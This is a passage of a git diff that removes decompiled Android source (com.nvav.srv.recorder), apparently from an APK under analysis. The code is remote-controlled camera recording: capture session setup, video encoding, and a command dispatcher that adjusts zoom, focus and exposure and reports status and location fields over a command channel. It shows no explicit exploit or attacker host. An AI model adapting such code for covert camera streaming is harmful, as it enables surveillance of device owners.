CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, CameraHUAWEIn.this.set); - CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraHUAWEIn.this.cafm)); - CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, Integer.valueOf(CameraHUAWEIn.this.caem)); - CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, Integer.valueOf(CameraHUAWEIn.this.caft)); - CameraHUAWEIn.this.setParams(); - } - } catch (Exception e) { - CameraHUAWEIn.this.comand.WriteErr(e); - } - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onActive(CameraCaptureSession cameraCaptureSession) { - CameraHUAWEIn.this.comand.WriteOut("result=Session active."); - Log.d("CameraCaptureSession ac", String.format("time %d", Long.valueOf(System.currentTimeMillis()))); - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onClosed(CameraCaptureSession cameraCaptureSession) { - CameraHUAWEIn.this.comand.WriteOut("result=Session closed."); - try { - CameraHUAWEIn cameraHUAWEIn = CameraHUAWEIn.this; - cameraHUAWEIn.rect = (Rect) cameraHUAWEIn.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION); - CameraHUAWEIn cameraHUAWEIn2 = CameraHUAWEIn.this; - cameraHUAWEIn2.aec = ((Integer) cameraHUAWEIn2.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue(); - CameraHUAWEIn cameraHUAWEIn3 = CameraHUAWEIn.this; - cameraHUAWEIn3.cem = ((Integer) cameraHUAWEIn3.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue(); - CameraHUAWEIn cameraHUAWEIn4 = CameraHUAWEIn.this; - cameraHUAWEIn4.cafr = (MeteringRectangle[]) cameraHUAWEIn4.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_REGIONS); - CameraHUAWEIn cameraHUAWEIn5 = CameraHUAWEIn.this; - cameraHUAWEIn5.cafm = ((Integer) cameraHUAWEIn5.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_MODE)).intValue(); - CameraHUAWEIn cameraHUAWEIn6 = CameraHUAWEIn.this; - cameraHUAWEIn6.caft = ((Integer) cameraHUAWEIn6.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_TRIGGER)).intValue(); - CameraHUAWEIn cameraHUAWEIn7 = CameraHUAWEIn.this; - cameraHUAWEIn7.lfd = ((Float) cameraHUAWEIn7.mRecordingRequestBuilder.get(CaptureRequest.LENS_FOCUS_DISTANCE)).floatValue(); - CameraHUAWEIn cameraHUAWEIn8 = CameraHUAWEIn.this; - cameraHUAWEIn8.caem = ((Integer) cameraHUAWEIn8.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_MODE)).intValue(); - CameraHUAWEIn cameraHUAWEIn9 = CameraHUAWEIn.this; - cameraHUAWEIn9.ss = ((Integer) cameraHUAWEIn9.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_SENSITIVITY)).intValue(); - CameraHUAWEIn cameraHUAWEIn10 = CameraHUAWEIn.this; - cameraHUAWEIn10.sfd = (Long) cameraHUAWEIn10.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_FRAME_DURATION); - CameraHUAWEIn cameraHUAWEIn11 = CameraHUAWEIn.this; - cameraHUAWEIn11.set = (Long) cameraHUAWEIn11.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_EXPOSURE_TIME); - } catch (Exception e) { - CameraHUAWEIn.this.comand.WriteErr(e); - } - try { - CameraHUAWEIn.this.mCamera.close(); - } catch (Exception e2) { - CameraHUAWEIn.this.comand.WriteErr(e2); - } - try { - if (CameraHUAWEIn.this.mMediaCodec != null) { - CameraHUAWEIn.this.mMediaCodec.stop(); - CameraHUAWEIn.this.mMediaCodec.release(); - } - } catch (Exception e3) { - CameraHUAWEIn.this.comand.WriteErr(e3); - } - try { - if (CameraHUAWEIn.this.mRecordingSurface != null) { - CameraHUAWEIn.this.mRecordingSurface.release(); - CameraHUAWEIn.this.mRecordingSurface = null; - } - } catch (Exception e4) { - CameraHUAWEIn.this.comand.WriteErr(e4); - } - try { - CameraHUAWEIn.this.mOutputSurfaces.clear(); - CameraHUAWEIn.this.mOutputSurfaces = null; - } catch (Exception e5) { - CameraHUAWEIn.this.comand.WriteErr(e5); - } - CameraHUAWEIn.this.mMediaCodec = null; - CameraHUAWEIn.this.mCamera = null; - try { - CameraHUAWEIn.this.mRecordingRequestBuilder.removeTarget(CameraHUAWEIn.this.mRecordingSurface); - Thread.sleep(750L); - } catch (Exception e6) { - CameraHUAWEIn.this.comand.WriteErr(e6); - } - try { - CameraHUAWEIn.this.mThread.interrupt(); - } catch (Exception e7) { - CameraHUAWEIn.this.comand.WriteErr(e7); - } - if (CameraHUAWEIn.Restarting) { - try { - CameraHUAWEIn.this.StartRestart(); - Thread.sleep(250L); - } catch (Exception e8) { - CameraHUAWEIn.this.comand.WriteErr(e8); - } - CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraHUAWEIn.this.cafm)); - CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(CameraHUAWEIn.this.lfd)); - CameraHUAWEIn.Restarting = false; - CameraHUAWEIn.this.setParams(); - } - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onReady(CameraCaptureSession cameraCaptureSession) { - CameraHUAWEIn.this.comand.WriteOut("result=Session ready."); - Log.d("CameraCaptureSession re", String.format("time %d", Long.valueOf(System.currentTimeMillis()))); - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onConfigureFailed(CameraCaptureSession cameraCaptureSession) { - CameraHUAWEIn.this.comand.WriteOut("result=Session failed configure."); - } - }; - private CameraCaptureSession.CaptureCallback mCaptureCallback = new CameraCaptureSession.CaptureCallback() { // from class: com.nvav.srv.recorder.CameraHUAWEIn.4 - long time_out_param = System.currentTimeMillis(); - double lat = 0.0d; - double lon = 0.0d; - long FrameNumber = 0; - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureProgressed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureResult captureResult) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureCompleted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, TotalCaptureResult totalCaptureResult) { - if (System.currentTimeMillis() - this.time_out_param > 200) { - String format = String.format("%f;%f;%d;%d;%.2f;%f;%d", Double.valueOf(this.lat), Double.valueOf(this.lon), totalCaptureResult.get(CaptureResult.SENSOR_SENSITIVITY), Long.valueOf(1000000000 / ((Long) totalCaptureResult.get(CaptureResult.SENSOR_FRAME_DURATION)).longValue()), totalCaptureResult.get(CaptureResult.LENS_APERTURE), totalCaptureResult.get(CaptureResult.LENS_FOCUS_DISTANCE), totalCaptureResult.get(CaptureResult.SENSOR_EXPOSURE_TIME)); - CameraHUAWEIn.this.comand.WriteOut(ByteBuffer.allocate(format.length() + 1).put((byte) 77).put(format.getBytes()).array()); - this.time_out_param = System.currentTimeMillis(); - } - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureFailed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureFailure captureFailure) { - CameraHUAWEIn.this.comand.WriteOut("result=Capture failed."); - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureSequenceAborted(CameraCaptureSession cameraCaptureSession, int i) { - CameraHUAWEIn.this.comand.WriteOut("result=Capture aborted sequence."); - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureSequenceCompleted(CameraCaptureSession cameraCaptureSession, int i, long j) { - CameraHUAWEIn.this.comand.WriteOut("result=Capture completed sequence."); - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureStarted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, long j, long j2) { - this.FrameNumber = j2; - } - }; - - static /* synthetic */ int access$108(CameraHUAWEIn cameraHUAWEIn) { - int i = cameraHUAWEIn.countSend; - cameraHUAWEIn.countSend = i + 1; - return i; - } - - /* JADX INFO: Access modifiers changed from: private */ - public void setParams() { - try { - this.mSession.setRepeatingRequest(this.mRecordingRequestBuilder.build(), this.mCaptureCallback, this.mHandler); - } catch (CameraAccessException e) { - this.comand.WriteErr(e); - } - } - - void StartRestart() { - try { - this.mCameraManager = (CameraManager) this.speek.getApplicationContext().getSystemService("camera"); - HandlerThread handlerThread = new HandlerThread("CameraThread"); - this.mThread = handlerThread; - handlerThread.start(); - this.mHandler = new Handler(this.mThread.getLooper()); - long currentTimeMillis = System.currentTimeMillis(); - while (System.currentTimeMillis() - currentTimeMillis <= 10000) { - String[] cameraIdList = this.mCameraManager.getCameraIdList(); - StringBuilder sb = new StringBuilder(); - for (String str : cameraIdList) { - sb.append(str).append(";"); - } - this.comand.WriteOut(String.format("result=camera list: %s (%d)", sb.toString(), Long.valueOf(System.currentTimeMillis() - currentTimeMillis))); - Thread.sleep(300L); - if (cameraIdList.length != 0) { - Stream stream = Arrays.stream(cameraIdList); - final String str2 = this.CamResFPS[1]; - Objects.requireNonNull(str2); - if (stream.anyMatch(new Predicate() { // from class: com.nvav.srv.recorder.CameraHUAWEIn$$ExternalSyntheticLambda0 - @Override // java.util.function.Predicate - public final boolean test(Object obj) { - boolean equals; - equals = str2.equals((String) obj); - return equals; - } - })) { - break; - } - } - } - this.mCameraManager.openCamera(this.CamResFPS[1], this.mDeviceListener, this.mHandler); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - - public CameraHUAWEIn(CameraManager cameraManager, Speek speek, String str, Comand comand) { - this.CamResFPS = str.split(";"); - this.comand = comand; - comand.WriteOut(String.format("result=%s", str)); - this.speek = speek; - StartRestart(); - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public void Stop() { - try { - this.mMediaCodec.signalEndOfInputStream(); - this.mCamera.close(); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - - byte[] putInt(int i) { - return ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN).putInt(i).array(); - } - - private Point toThis(Point point) { - Rect rect = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION); - point.x = ((point.x * rect.width()) / this.MaxSize.getWidth()) + rect.left; - point.y = ((point.y * rect.height()) / this.MaxSize.getHeight()) + rect.top; - return point; - } - - private String ZoomNew(String str) { - try { - float parseInt = ((Integer.parseInt(str) * (((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue() - 1.0f)) / 100.0f) + 1.0f; - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - int width = rect.width() / 2; - int height = rect.height() / 2; - int width2 = (int) ((rect.width() * 0.5f) / parseInt); - int height2 = (int) ((rect.height() * 0.5f) / parseInt); - Rect rect2 = new Rect(width - width2, height - height2, width + width2, height + height2); - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect2); - setParams(); - return String.format("Zoom x%f (%dx%d) %s [%d,%d,%d,%d]", Float.valueOf(parseInt), Integer.valueOf(rect2.centerX()), Integer.valueOf(rect2.centerY()), str, Integer.valueOf(rect2.left), Integer.valueOf(rect2.top), Integer.valueOf(rect2.right), Integer.valueOf(rect2.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String ZoomPlus(String str, double d) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - float floatValue = ((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue(); - Rect rect2 = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION); - String[] split = str.split(","); - Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1]))); - int round = (int) Math.round(rect2.width() * d); - int round2 = (int) Math.round(rect2.height() * d); - if (round < rect.width() / floatValue) { - round = (int) (rect.width() / floatValue); - } - if (round2 < rect.height() / floatValue) { - round2 = (int) (rect.height() / floatValue); - } - Rect rect3 = new Rect(point.x - (round / 2), point.y - (round2 / 2), point.x + (round / 2), point.y + (round2 / 2)); - if (rect3.left < 0) { - rect3.right -= rect3.left; - rect3.left = 0; - } - if (rect3.top < 0) { - rect3.bottom -= rect3.top; - rect3.top = 0; - } - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect3); - setParams(); - return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", Integer.valueOf((int) Math.round((rect.width() * rect.height()) / (rect3.width() * rect3.height()))), Integer.valueOf(rect3.centerX()), Integer.valueOf(rect3.centerY()), Integer.valueOf(rect3.left), Integer.valueOf(rect3.top), Integer.valueOf(rect3.right), Integer.valueOf(rect3.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String BrightPlus() { - String str = ""; - try { - int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() + 1; - if (intValue > 4) { - intValue = 4; - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue)); - str = String.format("Brightness %d", Integer.valueOf(intValue)); - setParams(); - return str; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String BrightMinus() { - String str = ""; - try { - int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() - 1; - if (intValue < -4) { - intValue = -4; - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue)); - str = String.format("Brightness %d", Integer.valueOf(intValue)); - setParams(); - return str; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String WhileBlack() { - String str = ""; - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue() == 0 ? 1 : 0)); - str = "Black and white."; - setParams(); - return "Black and white."; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String ZoomMinus(String str) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, new Rect(0, 0, rect.right, rect.bottom)); - setParams(); - return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", 1, Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(rect.left), Integer.valueOf(rect.top), Integer.valueOf(rect.right), Integer.valueOf(rect.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String Monochrom(String str) { - int i = !str.equals("0"); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(i)); - setParams(); - return i == 1 ? "Monochrom enable." : "Monochrom disable."; - } - - private Rect getRect(String str) { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - String[] split = str.split(","); - int parseInt = Integer.parseInt(split[2]); - int parseInt2 = Integer.parseInt(split[3]); - if (parseInt > rect.width()) { - parseInt = rect.width(); - } - if (parseInt2 > rect.height()) { - parseInt2 = rect.height(); - } - Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1]))); - int i = parseInt / 2; - int i2 = parseInt2 / 2; - Rect rect2 = new Rect(point.x - i, point.y - i2, point.x + i, point.y + i2); - if (rect2.top < rect.top) { - rect2.bottom -= rect2.top - rect.top; - rect2.top = rect.top; - } - if (rect2.left < rect.left) { - rect2.right -= rect2.left - rect.left; - rect2.left = rect.left; - } - if (rect2.bottom > rect.bottom) { - rect2.bottom = rect.bottom; - } - if (rect2.right > rect.right) { - rect2.right = rect.right; - } - return rect2; - } - - private String AF(String str) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 2); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0); - setParams(); - Rect rect2 = getRect(str); - if (rect.contains(rect2)) { - rect = rect2; - } - MeteringRectangle[] meteringRectangleArr = {new MeteringRectangle(rect, 0)}; - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, meteringRectangleArr); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 1); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 1); - setParams(); - return String.format("AF: %dx%d [%d,%d,%d,%d,%d]", Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(meteringRectangleArr[0].getX()), Integer.valueOf(meteringRectangleArr[0].getY()), Integer.valueOf(meteringRectangleArr[0].getWidth()), Integer.valueOf(meteringRectangleArr[0].getHeight()), Integer.valueOf(meteringRectangleArr[0].getMeteringWeight())); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String Focus(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0); - float parseFloat = (Float.parseFloat(str) * ((Float) this.properties.get(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE)).floatValue()) / 1000.0f; - this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(parseFloat)); - setParams(); - return String.format("Focus: %f", Float.valueOf(parseFloat)); - } - - private String Sensitivity(String str) { - int parseInt = Integer.parseInt(str); - Range range = (Range) this.properties.get(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE); - int intValue = ((Integer) range.getLower()).intValue() + ((parseInt * (((Integer) this.properties.get(CameraCharacteristics.SENSOR_MAX_ANALOG_SENSITIVITY)).intValue() - ((Integer) range.getLower()).intValue())) / 100); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(intValue)); - setParams(); - return String.format("Sensitivity: %d", Integer.valueOf(intValue)); - } - - private String ISO(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(Integer.parseInt(str))); - setParams(); - return String.format("ISO: %s", str); - } - - private String FPS(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, Long.valueOf(1000000000 / Integer.parseInt(str))); - setParams(); - return String.format("FPS: %s", str); - } - - private String Exposure(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, Long.valueOf(1000000000 / Integer.parseInt(str))); - setParams(); - return String.format("Exposure: %s", str); - } - - private String AE() { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 1); - setParams(); - return "Enable AE"; - } - - private String UserMode(String str) { - String trim = str.trim(); - if (trim.length() > 0) { - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 0); - setParams(); - int parseInt = Integer.parseInt(trim); - if (parseInt == 0) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 1); - } else { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 2); - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_SCENE_MODE, Integer.valueOf(parseInt)); - setParams(); - return String.format("User mode: %s", trim); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - return ""; - } - - private String ABW(String str) { - String trim = str.trim(); - if (trim.length() > 0) { - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AWB_MODE, Integer.valueOf(Integer.parseInt(trim) + 1)); - setParams(); - return String.format("ABW: %s", trim); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - return ""; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public String SetCommand(String str, String str2) { - return str.equals("ZoomPlus") ? ZoomPlus(str2, 0.75d) : str.equals("ZoomMinus") ? ZoomMinus(str2) : str.equals("Zoom") ? ZoomNew(str2) : str.equals("Monochrom") ? Monochrom(str2) : str.equals("WhileBlack") ? WhileBlack() : str.equals("BrightPlus") ? BrightPlus() : str.equals("BrightMinus") ? BrightMinus() : str.equals("Move") ? ZoomPlus(str2, 1.0d) : str.equals("AF") ? AF(str2) : str.equals("Focus") ? Focus(str2) : str.equals("ABW") ? ABW(str2) : str.equals("User_Mode") ? UserMode(str2) : str.equals("Exposure") ? Exposure(str2) : str.equals("Sensitivity") ? Sensitivity(str2) : str.equals("AE") ? AE() : str.equals("SetISO") ? ISO(str2) : str.equals("SetFPS") ? FPS(str2) : str; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int MinISO() { - return this.MinISO; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int MaxISO() { - return this.MaxISO; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int FPS() { - return this.FPS; - } -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraRecord.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraRecord.java deleted file mode 100644 index 69b09d4..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraRecord.java +++ /dev/null @@ -1,650 +0,0 @@ -package com.nvav.srv.recorder; - -import android.graphics.Point; -import android.graphics.Rect; -import android.hardware.camera2.CameraAccessException; -import android.hardware.camera2.CameraCaptureSession; -import android.hardware.camera2.CameraCharacteristics; -import android.hardware.camera2.CameraConstrainedHighSpeedCaptureSession; -import android.hardware.camera2.CameraDevice; -import android.hardware.camera2.CameraManager; -import android.hardware.camera2.CaptureFailure; -import android.hardware.camera2.CaptureRequest; -import android.hardware.camera2.CaptureResult; -import android.hardware.camera2.TotalCaptureResult; -import android.hardware.camera2.params.MeteringRectangle; -import android.hardware.camera2.params.StreamConfigurationMap; -import android.media.MediaCodec; -import android.media.MediaCrypto; -import android.media.MediaFormat; -import android.os.Handler; -import android.os.HandlerThread; -import android.util.Log; -import android.util.Range; -import android.util.Size; -import android.view.Surface; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.nio.ByteBuffer; -import java.nio.ByteOrder; -import java.util.ArrayList; -import java.util.List; -import java.util.UUID; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class CameraRecord implements ICameraRecord { - static boolean Starting; - int BitRate; - int FrameRate; - Size MaxSize; - Size SizeImage; - Comand comand; - private byte[] config; - int endkey; - int hiSpeed; - private String id; - private MediaCodec.BufferInfo mBufferInfo; - CameraDevice mCamera; - final CameraManager mCameraManager; - private CameraCaptureSession.CaptureCallback mCaptureCallback; - private final CameraDevice.StateCallback mDeviceListener; - Handler mHandler; - MediaCodec mMediaCodec; - List mOutputSurfaces; - CaptureRequest.Builder mRecordingRequestBuilder; - private Surface mRecordingSurface; - Thread mRecordingThread; - private CameraCaptureSession mSession; - private CameraConstrainedHighSpeedCaptureSession mSessionHI; - HandlerThread mThread; - ByteArrayOutputStream output; - CameraCharacteristics properties; - CameraCaptureSession.StateCallback sessionListener; - private int countSend = 0; - public int MinISO = 0; - public int MaxISO = 0; - public int FPS = 30; - - /* JADX INFO: Access modifiers changed from: private */ - public void setParams() { - try { - if (this.hiSpeed > 0) { - this.mSessionHI.setRepeatingBurst(this.mSessionHI.createHighSpeedRequestList(this.mRecordingRequestBuilder.build()), this.mCaptureCallback, this.mHandler); - } else { - this.mSession.setRepeatingRequest(this.mRecordingRequestBuilder.build(), this.mCaptureCallback, this.mHandler); - } - } catch (CameraAccessException unused) { - } - } - - public CameraRecord(CameraManager cameraManager, int i, int i2, Comand comand, int i3, Size size) { - CameraDevice.StateCallback stateCallback = new CameraDevice.StateCallback() { // from class: com.nvav.srv.recorder.CameraRecord.1 - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onError(CameraDevice cameraDevice, int i4) { - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onOpened(CameraDevice cameraDevice) { - try { - CameraRecord.this.mCamera = cameraDevice; - CameraRecord cameraRecord = CameraRecord.this; - cameraRecord.properties = cameraRecord.mCameraManager.getCameraCharacteristics(CameraRecord.this.mCamera.getId()); - CameraRecord cameraRecord2 = CameraRecord.this; - cameraRecord2.MinISO = ((Integer) ((Range) cameraRecord2.properties.get(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE)).getLower()).intValue(); - CameraRecord cameraRecord3 = CameraRecord.this; - cameraRecord3.MaxISO = ((Integer) ((Range) cameraRecord3.properties.get(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE)).getUpper()).intValue(); - Size[] outputSizes = ((StreamConfigurationMap) CameraRecord.this.properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getOutputSizes(MediaCodec.class); - CameraRecord.this.MaxSize = null; - for (Size size2 : outputSizes) { - if (size2.getWidth() == CameraRecord.this.SizeImage.getWidth() && size2.getHeight() == CameraRecord.this.SizeImage.getHeight()) { - CameraRecord.this.MaxSize = size2; - } - } - if (CameraRecord.this.MaxSize == null) { - CameraRecord.this.MaxSize = outputSizes[8]; - } - MediaFormat createVideoFormat = MediaFormat.createVideoFormat("video/avc", CameraRecord.this.MaxSize.getWidth(), CameraRecord.this.MaxSize.getHeight()); - createVideoFormat.setInteger("color-format", 2130708361); - createVideoFormat.setInteger("bitrate", CameraRecord.this.BitRate); - createVideoFormat.setInteger("frame-rate", CameraRecord.this.FrameRate); - createVideoFormat.setInteger("i-frame-interval", 1); - CameraRecord.this.mMediaCodec = MediaCodec.createEncoderByType("video/avc"); - CameraRecord.this.mMediaCodec.configure(createVideoFormat, (Surface) null, (MediaCrypto) null, 1); - CameraRecord cameraRecord4 = CameraRecord.this; - cameraRecord4.mRecordingSurface = cameraRecord4.mMediaCodec.createInputSurface(); - CameraRecord.this.mOutputSurfaces.add(CameraRecord.this.mRecordingSurface); - if (CameraRecord.this.hiSpeed > 0) { - CameraRecord.this.mCamera.createConstrainedHighSpeedCaptureSession(CameraRecord.this.mOutputSurfaces, CameraRecord.this.sessionListener, CameraRecord.this.mHandler); - } else { - CameraRecord.this.mCamera.createCaptureSession(CameraRecord.this.mOutputSurfaces, CameraRecord.this.sessionListener, CameraRecord.this.mHandler); - } - CameraRecord.this.mMediaCodec.start(); - } catch (Exception e) { - CameraRecord.this.comand.WriteErr(e); - } - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onClosed(CameraDevice cameraDevice) { - try { - if (CameraRecord.this.mMediaCodec != null) { - CameraRecord.this.mMediaCodec.stop(); - CameraRecord.this.mMediaCodec.release(); - if (CameraRecord.this.mRecordingSurface != null) { - CameraRecord.this.mRecordingSurface.release(); - CameraRecord.this.mRecordingSurface = null; - } - } - } catch (Exception e) { - CameraRecord.this.comand.WriteErr(e); - } - try { - CameraRecord.this.mOutputSurfaces.remove(CameraRecord.this.mRecordingSurface); - CameraRecord.this.mOutputSurfaces.clear(); - CameraRecord.this.mOutputSurfaces = null; - } catch (Exception e2) { - CameraRecord.this.comand.WriteErr(e2); - } - CameraRecord.this.mMediaCodec = null; - CameraRecord.this.mCamera = null; - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onDisconnected(CameraDevice cameraDevice) { - CameraRecord.this.mCamera.close(); - } - }; - this.mDeviceListener = stateCallback; - this.sessionListener = new CameraCaptureSession.StateCallback() { // from class: com.nvav.srv.recorder.CameraRecord.2 - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onConfigureFailed(CameraCaptureSession cameraCaptureSession) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onConfigured(CameraCaptureSession cameraCaptureSession) { - try { - if (CameraRecord.this.hiSpeed > 0) { - CameraRecord.this.mSessionHI = (CameraConstrainedHighSpeedCaptureSession) cameraCaptureSession; - } else { - CameraRecord.this.mSession = cameraCaptureSession; - } - CameraRecord cameraRecord = CameraRecord.this; - cameraRecord.mRecordingRequestBuilder = cameraRecord.mCamera.createCaptureRequest(3); - CameraRecord.this.mRecordingRequestBuilder.addTarget(CameraRecord.this.mRecordingSurface); - if (CameraRecord.this.hiSpeed == 1) { - CameraRecord.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, new Range(120, 120)); - CameraRecord.this.FPS = 120; - } else if (CameraRecord.this.hiSpeed == 2) { - CameraRecord.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, new Range(240, 240)); - CameraRecord.this.FPS = 240; - } - CameraRecord.this.setParams(); - CameraRecord.this.mRecordingThread = new Thread() { // from class: com.nvav.srv.recorder.CameraRecord.2.1 - @Override // java.lang.Thread, java.lang.Runnable - public void run() { - while (CameraRecord.Starting) { - try { - CameraRecord.this.encode(false); - 